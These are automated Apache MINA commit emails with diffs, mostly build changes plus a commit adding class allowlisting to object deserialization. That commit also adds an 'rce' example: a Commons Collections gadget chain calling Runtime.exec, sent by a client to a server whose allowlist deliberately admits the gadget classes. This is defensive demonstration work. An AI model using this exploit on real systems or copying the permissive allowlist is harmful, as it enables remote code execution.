           <artifactId>taglist-maven-plugin</artifactId>
           <version>${version.taglist.plugin}</version>
           <configuration>
-            <tags>
-              <tag>TODO</tag>
-              <tag>@todo</tag>
-              <tag>@deprecated</tag>
-              <tag>FIXME</tag>
-            </tags>
+            <tagListOptions>
+              <tagClasses>>
+                <tagClass>
+                  <displayName>Documentation Work</displayName>
+                  <tags>
+                    <tag>TODO</tag>
+                    <tag>@todo</tag>
+                    <tag>@deprecated</tag>
+                    <tag>FIXME</tag>
+                  </tags>
+                </tagClass>
+              </tagClasses>
+            </tagListOptions>
           </configuration>
         </plugin>
 
@@ -771,7 +774,7 @@
         </plugin>
 
         <!--This plugin's configuration is used to store Eclipse m2e settings only. It has no influence on the Maven build itself.-->
-        <plugin>
+        <!-- plugin>
           <groupId>org.eclipse.m2e</groupId>
           <artifactId>lifecycle-mapping</artifactId>
           <version>1.0.0</version>
@@ -794,7 +797,7 @@
               </pluginExecutions>
             </lifecycleMappingMetadata>
           </configuration>
-        </plugin>
+        <plugin-->
 
         <plugin>
           <groupId>org.cyclonedx</groupId>
@@ -842,7 +845,7 @@
         <configuration>
           <encoding>UTF-8</encoding>
           <debug>true</debug>
-          <showDeprecations>true</showDeprecations>
+          <showDeprecation>true</showDeprecation>
         </configuration>
       </plugin>
 
@@ -926,7 +929,6 @@
         <version>${version.javadoc.plugin}</version>
         <inherited>false</inherited>
         <configuration>
-          <aggregate>true</aggregate>
           <breakiterator>true</breakiterator>
           <charset>UTF-8</charset>
           <docencoding>UTF-8</docencoding>
@@ -937,7 +939,7 @@
           <links>
             <link>http://java.sun.com/j2se/1.5.0/docs/api/</link>
             <link>http://www.slf4j.org/api/</link>
-            <link>http://static.springframework.org/spring/docs/2.0.x/api/</link>
+            <!--link>http://static.springframework.org/spring/docs/2.0.x/api/</link-->
           </links>
           <locale>en_US</locale>
         </configuration>
@@ -949,7 +951,6 @@
         <version>${version.jxr.plugin}</version>
         <inherited>false</inherited>
         <configuration>
-          <aggregate>true</aggregate>
           <inputEncoding>UTF-8</inputEncoding>
           <outputEncoding>UTF-8</outputEncoding>
           <windowTitle>Apache MINA ${project.version} Cross Reference</windowTitle>
@@ -957,7 +958,7 @@
         </configuration>
       </plugin>
 
-      <plugin>
+      <!--plugin>
         <groupId>org.codehaus.mojo</groupId>
         <artifactId>rat-maven-plugin</artifactId>
         <version>${version.rat.maven.plugin}</version>
@@ -970,7 +971,7 @@
           </excludes>
           <excludeSubProjects>false</excludeSubProjects>
         </configuration>
-      </plugin>
+      </plugin-->
     </plugins>
   </reporting>
 </project>


(mina) 17/19: Rollbacked to source plugin 3.2.1

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit bfb75f2490953fa4753da57ef742fdeb5e0ef3ea
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 10:30:40 2024 +0100

    Rollbacked to source plugin 3.2.1
---
 pom.xml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pom.xml b/pom.xml
index 0585a61a0..1b60deae7 100644
--- a/pom.xml
+++ b/pom.xml
@@ -135,7 +135,7 @@
     <version.resources.plugin>3.3.1</version.resources.plugin>
     <version.scm.plugin>2.1.0</version.scm.plugin>
     <version.site.plugin>4.0.0-M16</version.site.plugin>
-    <version.source.plugin>3.3.1</version.source.plugin>
+    <version.source.plugin>3.2.1</version.source.plugin>
     <version.shade.plugin>3.5.0</version.shade.plugin>
     <version.surefire.plugin>3.5.2</version.surefire.plugin>
     <version.surfire.report.plugin>3.5.2</version.surfire.report.plugin>
@@ -833,7 +833,7 @@
           <execution>
             <id>attach-source</id>
             <goals>
-              <goal>jar-no-fork</goal>
+              <goal>jar</goal>
             </goals>
           </execution>
         </executions>


(mina) 08/19: Added some control on the classes that can be deserialized

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit f9cc5ada6ebef4ee7cc51aac824e42e2e422310e
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Wed Nov 6 16:21:19 2024 +0100

    Added some control on the classes that can be deserialized
---
 mina-core/pom.xml                                  |  1 +
 .../apache/mina/core/buffer/AbstractIoBuffer.java  | 38 ++++++---
 .../java/org/apache/mina/core/buffer/IoBuffer.java |  8 ++
 .../apache/mina/core/buffer/IoBufferWrapper.java   |  8 ++
 .../ObjectSerializationCodecFactory.java           | 38 +++++++++
 .../serialization/ObjectSerializationDecoder.java  | 44 +++++++++++
 .../org/apache/mina/core/buffer/IoBufferTest.java  | 57 ++++++++++++++
 mina-example/pom.xml                               | 11 +++
 .../org/apache/mina/example/rce/MinaClient.java    | 35 ++++++++
 .../org/apache/mina/example/rce/MinaServer.java    | 63 +++++++++++++++
 .../org/apache/mina/example/rce/Reflections.java   | 92 ++++++++++++++++++++++
 11 files changed, 382 insertions(+), 13 deletions(-)

diff --git a/mina-core/pom.xml b/mina-core/pom.xml
index c3d5a1b20..88d03d64b 100644
--- a/mina-core/pom.xml
+++ b/mina-core/pom.xml
@@ -59,6 +59,7 @@
             <Export-Package>
               org.apache.mina.core,
               org.apache.mina.core.buffer,
+              org.apache.mina.core.buffer.matcher,
               org.apache.mina.core.file,
               org.apache.mina.core.filterchain,
               org.apache.mina.core.future,
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java
index bd80469e9..c600a4e2c 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java
@@ -48,7 +48,6 @@ import java.util.EnumSet;
 import java.util.List;
 import java.util.Set;
 import java.util.regex.Pattern;
-import java.util.stream.Stream;
 
 import org.apache.mina.core.buffer.matcher.ClassNameMatcher;
 import org.apache.mina.core.buffer.matcher.FullClassNameMatcher;
@@ -91,7 +90,6 @@ public abstract class AbstractIoBuffer extends IoBuffer {
     private static final long INT_MASK = 0xFFFFFFFFL;
 
     private final List<ClassNameMatcher> acceptMatchers = new ArrayList<>();
-    private final List<ClassNameMatcher> rejectMatchers = new ArrayList<>();
 
     /**
      * We don't have any access to Buffer.markValue(), so we need to track it down,
@@ -2177,18 +2175,23 @@ public abstract class AbstractIoBuffer extends IoBuffer {
             @Override
             protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
                 int type = read();
+                
                 if (type < 0) {
                     throw new EOFException();
                 }
+                
                 switch (type) {
-                case 0: // NON-Serializable class or Primitive types
-                    return super.readClassDescriptor();
-                case 1: // Serializable class
-                    String className = readUTF();
-                    Class<?> clazz = Class.forName(className, true, classLoader);
-                    return ObjectStreamClass.lookup(clazz);
-                default:
-                    throw new StreamCorruptedException("Unexpected class descriptor type: " + type);
+                    case 0: // NON-Serializable class or Primitive types
+                        return super.readClassDescriptor();
+                        
+                    case 1: // Serializable class
+                        String className = readUTF();
+                        Class<?> clazz = Class.forName(className, true, classLoader);
+            
+                        return ObjectStreamClass.lookup(clazz);
+                        
+                    default:
+                        throw new StreamCorruptedException("Unexpected class descriptor type: " + type);
                 }
             }
 
@@ -2196,10 +2199,9 @@ public abstract class AbstractIoBuffer extends IoBuffer {
             protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                 Class<?> clazz = desc.forClass();
                 
-                String[] classes = new String[] {"java.util.Date", "long", "java.util.ArrayList"};
-
                 if (clazz == null) {
                     String name = desc.getName();
+                    
                     try {
                         return Class.forName(name, false, classLoader);
                     } catch (ClassNotFoundException ex) {
@@ -2224,7 +2226,6 @@ public abstract class AbstractIoBuffer extends IoBuffer {
                 }
             }
         }) {
-            //((ValidatingObjectInputStream)in).accept(Date.class, long.class, ArrayList.class);
             return in.readObject();
         } catch (IOException e) {
             throw new BufferDataException(e);
@@ -2824,4 +2825,15 @@ public abstract class AbstractIoBuffer extends IoBuffer {
         
         return this;
     }
+    
+    /**
+     * {@inheritDoc}
+     */
+    public void setMatchers(List<ClassNameMatcher> matchers) {
+        acceptMatchers.clear();
+        
+        for (ClassNameMatcher matcher:matchers) {
+            acceptMatchers.add(matcher);
+        }
+    }
 }
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
index 6cda800cb..e54125803 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
@@ -35,6 +35,7 @@ import java.nio.charset.CharacterCodingException;
 import java.nio.charset.CharsetDecoder;
 import java.nio.charset.CharsetEncoder;
 import java.util.EnumSet;
+import java.util.List;
 import java.util.Set;
 import java.util.regex.Pattern;
 
@@ -2137,4 +2138,11 @@ public abstract class IoBuffer implements Comparable<IoBuffer> {
      * @return this object
      */
     public abstract IoBuffer accept(String... patterns);
+    
+    /**
+     * Set the list of class matchers for in incoming buffer
+     * 
+     * @param matchers The list of matchers
+     */
+    public abstract void setMatchers(List<ClassNameMatcher> matchers);
 }
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java
index e53081103..c59d42e07 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java
@@ -33,6 +33,7 @@ import java.nio.ShortBuffer;
 import java.nio.charset.CharacterCodingException;
 import java.nio.charset.CharsetDecoder;
 import java.nio.charset.CharsetEncoder;
+import java.util.List;
 import java.util.Set;
 import java.util.regex.Pattern;
 
@@ -1564,4 +1565,11 @@ public class IoBufferWrapper extends IoBuffer {
     public IoBuffer accept(String... patterns) {
         return buf.accept(patterns);
     }
+    
+    /**
+     * {@inheritDoc}
+     */
+    public void setMatchers(List<ClassNameMatcher> matchers) {
+        buf.setMatchers(matchers);
+    }
 }
diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java
index e682a3c25..2d3a88f9f 100644
--- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java
+++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationCodecFactory.java
@@ -19,7 +19,12 @@
  */
 package org.apache.mina.filter.codec.serialization;
 
+import java.util.regex.Pattern;
+
 import org.apache.mina.core.buffer.BufferDataException;
+import org.apache.mina.core.buffer.matcher.ClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher;
 import org.apache.mina.core.session.IoSession;
 import org.apache.mina.filter.codec.ProtocolCodecFactory;
 import org.apache.mina.filter.codec.ProtocolDecoder;
@@ -122,4 +127,37 @@ public class ObjectSerializationCodecFactory implements ProtocolCodecFactory {
     public void setDecoderMaxObjectSize(int maxObjectSize) {
         decoder.setMaxObjectSize(maxObjectSize);
     }
+
+    /**
+     * Accept class names where the supplied ClassNameMatcher matches for
+     * deserialization, unless they are otherwise rejected.
+     *
+     * @param classNameMatcher the matcher to use
+     */
+    public void accept(ClassNameMatcher classNameMatcher) {
+        decoder.accept(classNameMatcher);
+    }
+
+    /**
+     * Accept class names that match the supplied pattern for
+     * deserialization, unless they are otherwise rejected.
+     *
+     * @param pattern standard Java regexp
+     */
+    public void accept(Pattern pattern) {
+        decoder.accept(new RegexpClassNameMatcher(pattern));
+    }
+
+    /**
+     * Accept the wildcard specified classes for deserialization,
+     * unless they are otherwise rejected.
+     *
+     * @param patterns Wildcard file name patterns as defined by
+     *                  {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+     */
+    public void accept(String... patterns) {
+        for (String pattern:patterns) {
+            decoder.accept(new WildcardClassNameMatcher(pattern));
+        }
+    }
 }
diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
index 8def39ef7..ae324873b 100644
--- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
+++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
@@ -20,9 +20,15 @@
 package org.apache.mina.filter.codec.serialization;
 
 import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Pattern;
 
 import org.apache.mina.core.buffer.BufferDataException;
 import org.apache.mina.core.buffer.IoBuffer;
+import org.apache.mina.core.buffer.matcher.ClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher;
 import org.apache.mina.core.session.IoSession;
 import org.apache.mina.filter.codec.CumulativeProtocolDecoder;
 import org.apache.mina.filter.codec.ProtocolDecoder;
@@ -39,6 +45,9 @@ public class ObjectSerializationDecoder extends CumulativeProtocolDecoder {
 
     private int maxObjectSize = 1048576; // 1MB
 
+    /** The classes we accept when deserializing a binary blob */
+    private final List<ClassNameMatcher> acceptMatchers = new ArrayList<>();
+
     /**
      * Creates a new instance with the {@link ClassLoader} of
      * the current thread.
@@ -93,8 +102,43 @@ public class ObjectSerializationDecoder extends CumulativeProtocolDecoder {
         if (!in.prefixedDataAvailable(4, maxObjectSize)) {
             return false;
         }
+        
+        in.setMatchers(acceptMatchers);
 
         out.write(in.getObject(classLoader));
         return true;
     }
+
+    /**
+     * Accept class names where the supplied ClassNameMatcher matches for
+     * deserialization, unless they are otherwise rejected.
+     *
+     * @param classNameMatcher the matcher to use
+     */
+    public void accept(ClassNameMatcher classNameMatcher) {
+        acceptMatchers.add(classNameMatcher);
+    }
+
+    /**
+     * Accept class names that match the supplied pattern for
+     * deserialization, unless they are otherwise rejected.
+     *
+     * @param pattern standard Java regexp
+     */
+    public void accept(Pattern pattern) {
+        acceptMatchers.add(new RegexpClassNameMatcher(pattern));
+    }
+
+    /**
+     * Accept the wildcard specified classes for deserialization,
+     * unless they are otherwise rejected.
+     *
+     * @param patterns Wildcard file name patterns as defined by
+     *                  {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+     */
+    public void accept(String... patterns) {
+        for (String pattern:patterns) {
+            acceptMatchers.add(new WildcardClassNameMatcher(pattern));
+        }
+    }
 }
diff --git a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java
index bf8c46743..41b1952ee 100644
--- a/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java
+++ b/mina-core/src/test/java/org/apache/mina/core/buffer/IoBufferTest.java
@@ -41,6 +41,8 @@ import java.util.Date;
 import java.util.EnumSet;
 import java.util.List;
 
+import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher;
 import org.apache.mina.util.Bar;
 import org.junit.Test;
 
@@ -393,6 +395,8 @@ public class IoBufferTest {
         IoBuffer buffer = IoBuffer.allocate(16);
         buffer.setAutoExpand(true);
         buffer.putObject(c);
+        
+        // Accept the String class
         buffer.accept(String.class.getName());
 
         buffer.flip();
@@ -402,6 +406,59 @@ public class IoBufferTest {
         assertSame(c, o);
     }
 
+    @Test
+    public void testNonserializableClassAcceptWildcard() throws Exception {
+        Class<?> c = String.class;
+
+        IoBuffer buffer = IoBuffer.allocate(16);
+        buffer.setAutoExpand(true);
+        buffer.putObject(c);
+        
+        // Accept all classes which name starts with 'java.lan'
+        // That includes 'java.lang.String'
+        buffer.accept(new WildcardClassNameMatcher("java.lan*"));
+
+        buffer.flip();
+        Object o = buffer.getObject();
+
+        assertEquals(c, o);
+        assertSame(c, o);
+    }
+    
+    @Test
+    public void testNonserializableClassAcceptRegexp() throws Exception {
+        Class<?> c = String.class;
+
+        IoBuffer buffer = IoBuffer.allocate(16);
+        buffer.setAutoExpand(true);
+        buffer.putObject(c);
+        
+        // Accept all class which contains '.lang.' in their name
+        // That includes java.lang.String
+        buffer.accept(new RegexpClassNameMatcher(".*\\.lang\\..*"));
+
+        buffer.flip();
+        Object o = buffer.getObject();
+
+        assertEquals(c, o);
+        assertSame(c, o);
+    }
+
+    @Test(expected=ClassNotFoundException.class)
+    public void testNonserializableClassReject() throws Exception {
+        Class<?> c = String.class;
+
+        IoBuffer buffer = IoBuffer.allocate(16);
+        buffer.setAutoExpand(true);
+        buffer.putObject(c);
+        // Don't accept the java.lang.String class
+
+        buffer.flip();
+        
+        // Should throw an exception
+        buffer.getObject();
+    }
+
     @Test
     public void testNonserializableInterface() throws Exception {
         Class<?> c = NonserializableInterface.class;
diff --git a/mina-example/pom.xml b/mina-example/pom.xml
index c3a2ededc..4e15b3377 100644
--- a/mina-example/pom.xml
+++ b/mina-example/pom.xml
@@ -80,5 +80,16 @@
       <artifactId>jcl-over-slf4j</artifactId>
     </dependency>
 
+    <dependency>
+      <groupId>org.apache.commons</groupId>
+      <artifactId>commons-collections4</artifactId>
+      <version>4.0</version>
+    </dependency>
+    
+    <dependency>
+      <groupId>com.nqzero</groupId>
+      <artifactId>permit-reflect</artifactId>
+      <version>0.3</version>
+    </dependency>
   </dependencies>
 </project>
diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java b/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java
new file mode 100644
index 000000000..50a8c5b9b
--- /dev/null
+++ b/mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java
@@ -0,0 +1,35 @@
+package org.apache.mina.example.rce;
+
+import org.apache.mina.core.future.ConnectFuture;
+import org.apache.mina.core.service.IoConnector;
+import org.apache.mina.core.service.IoHandlerAdapter;
+import org.apache.mina.core.session.IoSession;
+import org.apache.mina.filter.codec.ProtocolCodecFilter;
+import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
+import org.apache.mina.transport.socket.nio.NioSocketConnector;
+//import payload.Generator;
+import java.net.InetSocketAddress;
+ 
+public class MinaClient {
+    private static final String HOSTNAME = "localhost";
+    private static final int PORT = 9123;
+    
+    public static void main(String[] args) throws Exception {
+        IoConnector connector = new NioSocketConnector();
+        connector.getFilterChain().addLast("codec", new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));
+        connector.setHandler(new ClientHandler());
+        ConnectFuture future = connector.connect(new InetSocketAddress(HOSTNAME, PORT));
+        future.awaitUninterruptibly();
+        IoSession session = future.getSession();
+        session.write(Reflections.getCC6());
+        session.getCloseFuture().awaitUninterruptibly();
+        connector.dispose();
+    }
+    
+    private static class ClientHandler extends IoHandlerAdapter {
+        @Override
+        public void messageReceived(IoSession session, Object message) {
+            System.out.println("Received from server: " + message);
+        }
+    }
+}
\ No newline at end of file
diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java b/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java
new file mode 100644
index 000000000..60b134308
--- /dev/null
+++ b/mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java
@@ -0,0 +1,63 @@
+package org.apache.mina.example.rce;
+
+import org.apache.mina.core.buffer.matcher.FullClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher;
+import org.apache.mina.core.service.IoAcceptor;
+import org.apache.mina.core.service.IoHandlerAdapter;
+import org.apache.mina.core.session.IoSession;
+import org.apache.mina.filter.codec.ProtocolCodecFilter;
+import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
+import org.apache.mina.transport.socket.nio.NioSocketAcceptor;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+
+public class MinaServer {
+    private static final int PORT = 9123;
+
+    public static void main(String[] args) throws IOException {
+        IoAcceptor acceptor = new NioSocketAcceptor();
+        ObjectSerializationCodecFactory codec = new ObjectSerializationCodecFactory();
+        codec.accept(new RegexpClassNameMatcher("java.util.Collections.*"));
+        codec.accept(new RegexpClassNameMatcher("org.apache.commons.collections4.*"));
+        codec.accept(new RegexpClassNameMatcher("java.lang.*"));
+
+        codec.accept(new FullClassNameMatcher(
+            "javax.management.BadAttributeValueExpException",
+            "java.util.ArrayList",
+            "java.util.HashMap"));
+
+        /*
+        codec.accept(new FullClassNameMatcher(
+            "javax.management.BadAttributeValueExpException",
+            "java.lang.Exception",
+            "java.lang.Throwable",
+            "java.lang.StackTraceElement",
+            "java.util.Collections$UnmodifiableList",
+            "java.util.Collections$UnmodifiableCollection",
+            "java.util.ArrayList",
+            "org.apache.commons.collections4.keyvalue.TiedMapEntry",
+            "org.apache.commons.collections4.map.LazyMap",
+            "org.apache.commons.collections4.functors.ChainedTransformer",
+            "org.apache.commons.collections4.functors.ConstantTransformer",
+            "org.apache.commons.collections4.functors.InvokerTransformer",
+            "java.lang.String",
+            "java.lang.Integer",
+            "java.lang.Number",
+            "java.util.HashMap"));
+             */
+        
+        acceptor.getFilterChain().addLast("codec", new ProtocolCodecFilter(codec));
+        acceptor.setHandler(new ServerHandler());
+        acceptor.bind(new InetSocketAddress(PORT));
+        System.out.println("Mina Server started on port " + PORT);
+    }
+    
+    
+    private static class ServerHandler extends IoHandlerAdapter {
+        @Override
+        public void messageReceived(IoSession session, Object message) {
+            System.out.println("Received: " + message);
+            session.write("Server Response: " + message);
+        } 
+    }
+}
\ No newline at end of file
diff --git a/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java b/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java
new file mode 100644
index 000000000..5827ebbe7
--- /dev/null
+++ b/mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java
@@ -0,0 +1,92 @@
+package org.apache.mina.example.rce;
+
+import com.nqzero.permit.Permit;
+
+import java.lang.reflect.AccessibleObject;
+import java.lang.reflect.Field;
+import java.util.HashMap;
+import java.util.Map;
+
+import javax.management.BadAttributeValueExpException;
+
+import org.apache.commons.collections4.Transformer;
+import org.apache.commons.collections4.functors.ChainedTransformer;
+import org.apache.commons.collections4.functors.ConstantTransformer;
+import org.apache.commons.collections4.functors.InvokerTransformer;
+import org.apache.commons.collections4.keyvalue.TiedMapEntry;
+import org.apache.commons.collections4.map.LazyMap;
+
+public class Reflections {
+    public static Object getCC6() throws IllegalAccessException, NoSuchFieldException {
+        String[] execArgs = new String[] {"open /System/Applications/Calculator.app"};
+        Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
+        Transformer[] transformers = new Transformer[] {
+                new ConstantTransformer(Runtime.class),
+                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, 
+                    new Object[] {"getRuntime", new Class[0] }),
+                new InvokerTransformer("invoke", 
+                    new Class[] {Object.class, Object[].class }, 
+                    new Object[] {null, new Object[0] }),
+                new InvokerTransformer("exec",new Class[] { String.class }, execArgs),
+                new ConstantTransformer(1) 
+            };
+        Map innerMap = new HashMap<>();
+        Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);
+        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
+        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
+        Field valfield = val.getClass().getDeclaredField("val");
+        Reflections.setAccessible(valfield);
+        valfield.set(val, entry);
+        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
+        
+        return val;
+    }
+
+    public static void setAccessible(AccessibleObject member) {
+        String versionStr = System.getProperty("java.version");
+        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
+        
+        if (javaVersion < 12) {
+            // quiet runtime warnings from JDK9+
+            Permit.setAccessible(member);
+        } else {
+            // not possible to quiet runtime warnings anymore...
+            // see https://bugs.openjdk.java.net/browse/JDK-8210522
+            // to understand impact on Permit (i.e. it does not work
+            // anymore with Java >= 12)
+            member.setAccessible(true);
+        } 
+    }
+    
+    public static void setFieldValue(Object obj, String field, Object value){
+        try {
+            Class clazz = obj.getClass();
+            Field fld = getField(clazz,field);
+            fld.setAccessible(true);
+            fld.set(obj, value);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+    
+    public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
+        try {
+            Field field = clazz.getDeclaredField(fieldName);
+            
+            if ( field != null ) {
+                field.setAccessible(true);
+            } else if ( clazz.getSuperclass() != null ) {
+                field = getField(clazz.getSuperclass(), fieldName);
+            }
+            
+            return field;
+        }
+        catch ( NoSuchFieldException e ) {
+            if ( !clazz.getSuperclass().equals(Object.class) ) {
+                return getField(clazz.getSuperclass(), fieldName);
+            }
+        
+            throw e; 
+        }
+    } 
+}
\ No newline at end of file


(mina) 03/19: Removed a duplicate replacer plugin declaration

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 6376578e7d3cad3b4423ce427e8d7ee7439d0796
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Wed Nov 6 16:16:55 2024 +0100

    Removed a duplicate replacer plugin declaration
---
 mina-integration-xbean/pom.xml | 29 +----------------------------
 1 file changed, 1 insertion(+), 28 deletions(-)

diff --git a/mina-integration-xbean/pom.xml b/mina-integration-xbean/pom.xml
index 324a272d1..e11fb888a 100644
--- a/mina-integration-xbean/pom.xml
+++ b/mina-integration-xbean/pom.xml
@@ -118,34 +118,7 @@
       <plugin><!-- workaround for https://issues.apache.org/jira/browse/XBEAN-335 -->
         <groupId>com.google.code.maven-replacer-plugin</groupId>
         <artifactId>replacer</artifactId>
-        <version>1.5.3</version>
-        <executions>
-          <execution>
-            <phase>generate-sources</phase>
-            <goals>
-              <goal>replace</goal>
-            </goals>
-          </execution>
-        </executions>
-        <configuration>
-          <basedir>${project.build.directory}/xbean/META-INF</basedir>
-          <includes>
-            <include>spring.*</include>
-          </includes>
-          <replacements>
-            <replacement>
-              <token>#... ... .+</token>
-              <value>#</value>
-            </replacement>
-          </replacements>
-          <regex>true</regex>
-        </configuration>
-      </plugin>
-
-      <plugin><!-- workaround for https://issues.apache.org/jira/browse/XBEAN-335 -->
-        <groupId>com.google.code.maven-replacer-plugin</groupId>
-        <artifactId>replacer</artifactId>
-        <version>1.5.3</version>
+        <version>${version.replacer.plugin}</version>
         <executions>
           <execution>
             <phase>generate-sources</phase>


(mina) 18/19: Fixing another link issue

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit ccc85e38a1b1b494444246b6cd9d98419dee8912
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 10:37:20 2024 +0100

    Fixing another link issue
---
 mina-core/pom.xml.releaseBackup                    | 116 +++++++++++++++++++++
 mina-core/pom.xml.tag                              | 116 +++++++++++++++++++++
 .../serialization/ObjectSerializationDecoder.java  |   2 +-
 3 files changed, 233 insertions(+), 1 deletion(-)

diff --git a/mina-core/pom.xml.releaseBackup b/mina-core/pom.xml.releaseBackup
new file mode 100644
index 000000000..88d03d64b
--- /dev/null
+++ b/mina-core/pom.xml.releaseBackup
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one
+  or more contributor license agreements.  See the NOTICE file
+  distributed with this work for additional information
+  regarding copyright ownership.  The ASF licenses this file
+  to you under the Apache License, Version 2.0 (the
+  "License"); you may not use this file except in compliance
+  with the License.  You may obtain a copy of the License at
+  
+  http://www.apache.org/licenses/LICENSE-2.0
+  
+  Unless required by applicable law or agreed to in writing,
+  software distributed under the License is distributed on an
+  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+  KIND, either express or implied.  See the License for the
+  specific language governing permissions and limitations
+  under the License.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+  <parent>
+    <groupId>org.apache.mina</groupId>
+    <artifactId>mina-parent</artifactId>
+    <version>2.2.4-SNAPSHOT</version>
+  </parent>
+
+  <artifactId>mina-core</artifactId>
+  <name>Apache MINA Core</name>
+  <packaging>bundle</packaging>
+
+  <dependencies>
+    <!-- Test dependencies -->
+    <dependency>
+      <groupId>org.easymock</groupId>
+      <artifactId>easymock</artifactId>
+    </dependency>
+    
+    <dependency>
+      <groupId>org.mockito</groupId>
+      <artifactId>mockito-core</artifactId>
+    </dependency>
+
+  </dependencies>
+  
+  <build>
+    <plugins>
+      <plugin>
+        <groupId>org.apache.felix</groupId>
+        <artifactId>maven-bundle-plugin</artifactId>
+        <inherited>true</inherited>
+        <extensions>true</extensions>
+        <configuration>
+          <manifestLocation>META-INF</manifestLocation>
+          <instructions>
+            <Bundle-SymbolicName>${project.groupId}.core</Bundle-SymbolicName>
+            <Export-Package>
+              org.apache.mina.core,
+              org.apache.mina.core.buffer,
+              org.apache.mina.core.buffer.matcher,
+              org.apache.mina.core.file,
+              org.apache.mina.core.filterchain,
+              org.apache.mina.core.future,
+              org.apache.mina.core.polling,
+              org.apache.mina.core.service,
+              org.apache.mina.core.session,
+              org.apache.mina.core.write,
+              org.apache.mina.filter,
+              org.apache.mina.filter.buffer,
+              org.apache.mina.filter.codec,
